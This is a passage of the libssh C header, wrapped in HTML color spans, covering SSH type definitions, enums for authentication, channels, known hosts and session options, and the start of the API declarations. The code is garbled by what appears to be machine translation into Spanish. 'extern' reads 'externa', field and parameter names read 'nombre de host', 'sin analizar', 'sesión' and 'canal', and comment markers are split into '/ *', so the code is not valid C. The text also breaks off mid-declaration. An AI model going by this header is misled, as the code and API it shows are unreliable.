style='color:#00c4c4; '>103 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>104 #ifdef __cplusplus</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>105 externa </span><span style='color:#02d045; '>"</span>C<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>106 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>107 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>108 struct ssh_counter_struct {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>109 uint64_t in_bytes;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>110 uint64_t out_bytes;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>111 uint64_t in_packets;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>112 uint64_t out_packets;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>113 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>114 typedef struct ssh_counter_struct * ssh_counter ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>115 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>116 typedef struct ssh_agent_struct * ssh_agent ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>117 typedef struct ssh_buffer_struct * ssh_buffer ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>118 typedef struct ssh_channel_struct * ssh_channel ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>119 typedef struct ssh_message_struct * ssh_message ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>120 typedef struct ssh_pcap_file_struct </span> <span style='color:#00c4c4; '>* ssh_pcap_file;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>121 typedef struct ssh_key_struct * ssh_key ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>122 typedef struct ssh_scp_struct * ssh_scp ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>123 typedef struct ssh_session_struct * ssh_session ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>124 typedef struct ssh_string_struct * ssh_string ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>125 typedef struct ssh_event_struct * ssh_event ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>126 typedef struct ssh_connector_struct </span> <span style='color:#00c4c4; '>* ssh_connector ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>127 typedef void * ssh_gssapi_creds;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>128 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>129 / * Tipo de enchufe * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>130 #ifdef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>131 #ifndef socket_t</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>132 typedef SOCKET socket_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>133 #endif / * socket_t * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>134 #else / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>135 #ifndef socket_t</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>136 typedef int socket_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>137 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>138 #endif / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>139 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>140 #define SSH_INVALID_SOCKET ((socket_t) -1)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>141 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>142 / * las compensaciones de los métodos * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>143 enum ssh_kex_types_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>144 SSH_KEX = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>145 SSH_HOSTKEYS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>146 SSH_CRYPT_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>147 SSH_CRYPT_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>148 SSH_MAC_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>149 SSH_MAC_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>150 SSH_COMP_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>151 SSH_COMP_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>152 SSH_LANG_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>153 SSH_LANG_S_C</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>154 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>155 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>156 #define SSH_CRYPT 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>157 #define SSH_MAC 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>158 #define SSH_COMP 4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>159 #define SSH_LANG 5</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>160 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>161 enum ssh_auth_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>162 SSH_AUTH_SUCCESS = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>163 SSH_AUTH_DENIED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>164 SSH_AUTH_PARTIAL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>165 SSH_AUTH_INFO,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>166 SSH_AUTH_AGAIN,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>167 SSH_AUTH_ERROR = -1</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>168 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>169 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>170 / * banderas de autenticación * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>171 #define SSH_AUTH_METHOD_UNKNOWN 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>172 #define SSH_AUTH_METHOD_NONE 0x0001</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>173 #define SSH_AUTH_METHOD_PASSWORD 0x0002</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>174 #define SSH_AUTH_METHOD_PUBLICKEY 0x0004</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>175 #define SSH_AUTH_METHOD_HOSTBASED 0x0008</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>176 #define SSH_AUTH_METHOD_INTERACTIVE 0x0010</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>177 #define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>178 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>179 / * mensajes * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>180 enum ssh_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>181 SSH_REQUEST_AUTH = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>182 SSH_REQUEST_CHANNEL_OPEN,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>183 SSH_REQUEST_CHANNEL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>184 SSH_REQUEST_SERVICE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>185 SSH_REQUEST_GLOBAL</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>186 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>187 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>188 enum ssh_channel_type_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>189 SSH_CHANNEL_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>190 SSH_CHANNEL_SESSION,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>191 SSH_CHANNEL_DIRECT_TCPIP,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>192 SSH_CHANNEL_FORWARDED_TCPIP,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>193 SSH_CHANNEL_X11,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>194 SSH_CHANNEL_AUTH_AGENT</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>195 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>196 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>197 enum ssh_channel_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>198 SSH_CHANNEL_REQUEST_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>199 SSH_CHANNEL_REQUEST_PTY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>200 SSH_CHANNEL_REQUEST_EXEC,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>201 SSH_CHANNEL_REQUEST_SHELL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>202 SSH_CHANNEL_REQUEST_ENV,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>203 SSH_CHANNEL_REQUEST_SUBSYSTEM,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>204 SSH_CHANNEL_REQUEST_WINDOW_CHANGE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>205 SSH_CHANNEL_REQUEST_X11</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>206 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>207 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>208 enum ssh_global_requests_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>209 SSH_GLOBAL_REQUEST_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>210 SSH_GLOBAL_REQUEST_TCPIP_FORWARD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>211 SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>212 SSH_GLOBAL_REQUEST_KEEPALIVE</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>213 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>214 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>215 enum ssh_publickey_state_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>216 SSH_PUBLICKEY_STATE_ERROR = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>217 SSH_PUBLICKEY_STATE_NONE = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>218 SSH_PUBLICKEY_STATE_VALID = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>219 SSH_PUBLICKEY_STATE_WRONG = 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>220 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>221 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>222 / * Indicadores de estado * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>224 #define SSH_CLOSED 0x01</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>225 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>226 #define SSH_READ_PENDING 0x02</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>227 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>228 #define SSH_CLOSED_ERROR 0x04</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>229 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>230 #define SSH_WRITE_PENDING 0x08</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>231 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>232 enum ssh_server_known_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>233 SSH_SERVER_ERROR = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>234 SSH_SERVER_NOT_KNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>235 SSH_SERVER_KNOWN_OK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>236 SSH_SERVER_KNOWN_CHANGED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>237 SSH_SERVER_FOUND_OTHER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>238 SSH_SERVER_FILE_NOT_FOUND</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>239 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>240 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>241 enum ssh_known_hosts_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>245 SSH_KNOWN_HOSTS_ERROR = -2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>246 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>251 SSH_KNOWN_HOSTS_NOT_FOUND = -1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>252 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>257 SSH_KNOWN_HOSTS_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>258 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>262 SSH_KNOWN_HOSTS_OK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>263 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>269 SSH_KNOWN_HOSTS_CHANGED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>270 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>275 SSH_KNOWN_HOSTS_OTHER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>276 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>277 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>278 #ifndef MD5_DIGEST_LEN</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>279 #define MD5_DIGEST_LEN 16</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>280 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>281 / * errores * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>282 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>283 enum ssh_error_types_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>284 SSH_NO_ERROR = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>285 SSH_REQUEST_DENIED,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>286 SSH_FATAL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>287 SSH_EINTR</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>288 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>289 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>290 / * algunos tipos de claves * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>291 enum ssh_keytypes_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>292 SSH_KEYTYPE_UNKNOWN = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>293 SSH_KEYTYPE_DSS = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>294 SSH_KEYTYPE_RSA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>295 SSH_KEYTYPE_RSA1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>296 SSH_KEYTYPE_ECDSA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>297 SSH_KEYTYPE_ED25519,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>298 SSH_KEYTYPE_DSS_CERT01,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>299 SSH_KEYTYPE_RSA_CERT01</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>300 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>301 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>302 enum ssh_keycmp_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>303 SSH_KEY_CMP_PUBLIC = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>304 SSH_KEY_CMP_PRIVATE</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>305 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>306 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>307 #define SSH_ADDRSTRLEN 46</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>308 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>309 struct ssh_knownhosts_entry {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>310 char * nombre de host;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>311 char * sin analizar;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>312 ssh_key publickey;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>313 char * comentario;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>314 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>315 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>316 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>317 / * Códigos de retorno de error * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>318 #define SSH_OK 0 / * Sin error * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>319 #define SSH_ERROR -1 / </span> <span style='color:#00c4c4; '>* Error de algún tipo * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>320 #define SSH_AGAIN -2 / </span> <span style='color:#00c4c4; '>* La llamada sin bloqueo debe repetirse * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>321 #define SSH_EOF -127 / * Ya tenemos un eof * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>322 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>329 enum {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>332 SSH_LOG_NOLOG = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>335 SSH_LOG_WARNING ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>338 SSH_LOG_PROTOCOL ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>341 SSH_LOG_PACKET ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>344 SSH_LOG_FUNCTIONS</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>345 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>347 #define SSH_LOG_RARE SSH_LOG_WARNING</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>348 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>357 #define SSH_LOG_NONE 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>358 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>359 #define SSH_LOG_WARN 1</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>360 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>361 #define SSH_LOG_INFO 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>362 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>363 #define SSH_LOG_DEBUG 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>364 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>365 #define SSH_LOG_TRACE 4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>366 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>369 enum ssh_options_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>370 SSH_OPTIONS_HOST,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>371 SSH_OPTIONS_PORT,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>372 SSH_OPTIONS_PORT_STR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>373 SSH_OPTIONS_FD,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>374 SSH_OPTIONS_USER,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>375 SSH_OPTIONS_SSH_DIR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>376 SSH_OPTIONS_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>377 SSH_OPTIONS_ADD_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>378 SSH_OPTIONS_KNOWNHOSTS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>379 SSH_OPTIONS_TIMEOUT,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>380 SSH_OPTIONS_TIMEOUT_USEC,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>381 SSH_OPTIONS_SSH1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>382 SSH_OPTIONS_SSH2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>383 SSH_OPTIONS_LOG_VERBOSITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>384 SSH_OPTIONS_LOG_VERBOSITY_STR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>385 SSH_OPTIONS_CIPHERS_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>386 SSH_OPTIONS_CIPHERS_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>387 SSH_OPTIONS_COMPRESSION_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>388 SSH_OPTIONS_COMPRESSION_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>389 SSH_OPTIONS_PROXYCOMMAND,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>390 SSH_OPTIONS_BINDADDR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>391 SSH_OPTIONS_STRICTHOSTKEYCHECK,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>392 SSH_OPTIONS_COMPRESSION,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>393 SSH_OPTIONS_COMPRESSION_LEVEL,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>394 SSH_OPTIONS_KEY_EXCHANGE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>395 SSH_OPTIONS_HOSTKEYS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>396 SSH_OPTIONS_GSSAPI_SERVER_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>397 SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>398 SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>399 SSH_OPTIONS_HMAC_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>400 SSH_OPTIONS_HMAC_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>401 SSH_OPTIONS_PASSWORD_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>402 SSH_OPTIONS_PUBKEY_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>403 SSH_OPTIONS_KBDINT_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>404 SSH_OPTIONS_GSSAPI_AUTH,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>405 SSH_OPTIONS_GLOBAL_KNOWNHOSTS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>406 SSH_OPTIONS_NODELAY,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>407 SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>408 SSH_OPTIONS_PROCESS_CONFIG,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>409 SSH_OPTIONS_REKEY_DATA,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>410 SSH_OPTIONS_REKEY_TIME,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>411 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>412 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>413 enum {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>415 SSH_SCP_WRITE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>417 SSH_SCP_READ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>418 SSH_SCP_RECURSIVE = 0x10</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>419 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>420 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>421 enum ssh_scp_request_types {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>423 SSH_SCP_REQUEST_NEWDIR = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>425 SSH_SCP_REQUEST_NEWFILE,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>427 SSH_SCP_REQUEST_EOF,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>429 SSH_SCP_REQUEST_ENDDIR,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>431 SSH_SCP_REQUEST_WARNING</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>432 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>433 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>434 enum ssh_connector_flags_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>436 SSH_CONNECTOR_STDOUT = 1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>438 SSH_CONNECTOR_STDERR = 2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>440 SSH_CONNECTOR_BOTH = 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>441 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>442 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>443 LIBSSH_API int ssh_blocking_flush </span> <span style='color:#00c4c4; '>( sesión ssh_session , int timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>444 LIBSSH_API ssh_channel ssh_channel_accept_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>445 LIBSSH_API int ssh_channel_change_pty_size </span> <span style='color:#00c4c4; '>( canal ssh_channel , int cols, int filas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>446 LIBSSH_API int ssh_channel_close </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>447 LIBSSH_API void ssh_channel_free </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>448 LIBSSH_API int ssh_channel_get_exit_status </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>449 LIBSSH_API ssh_session ssh_channel_get_session </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>450 LIBSSH_API int 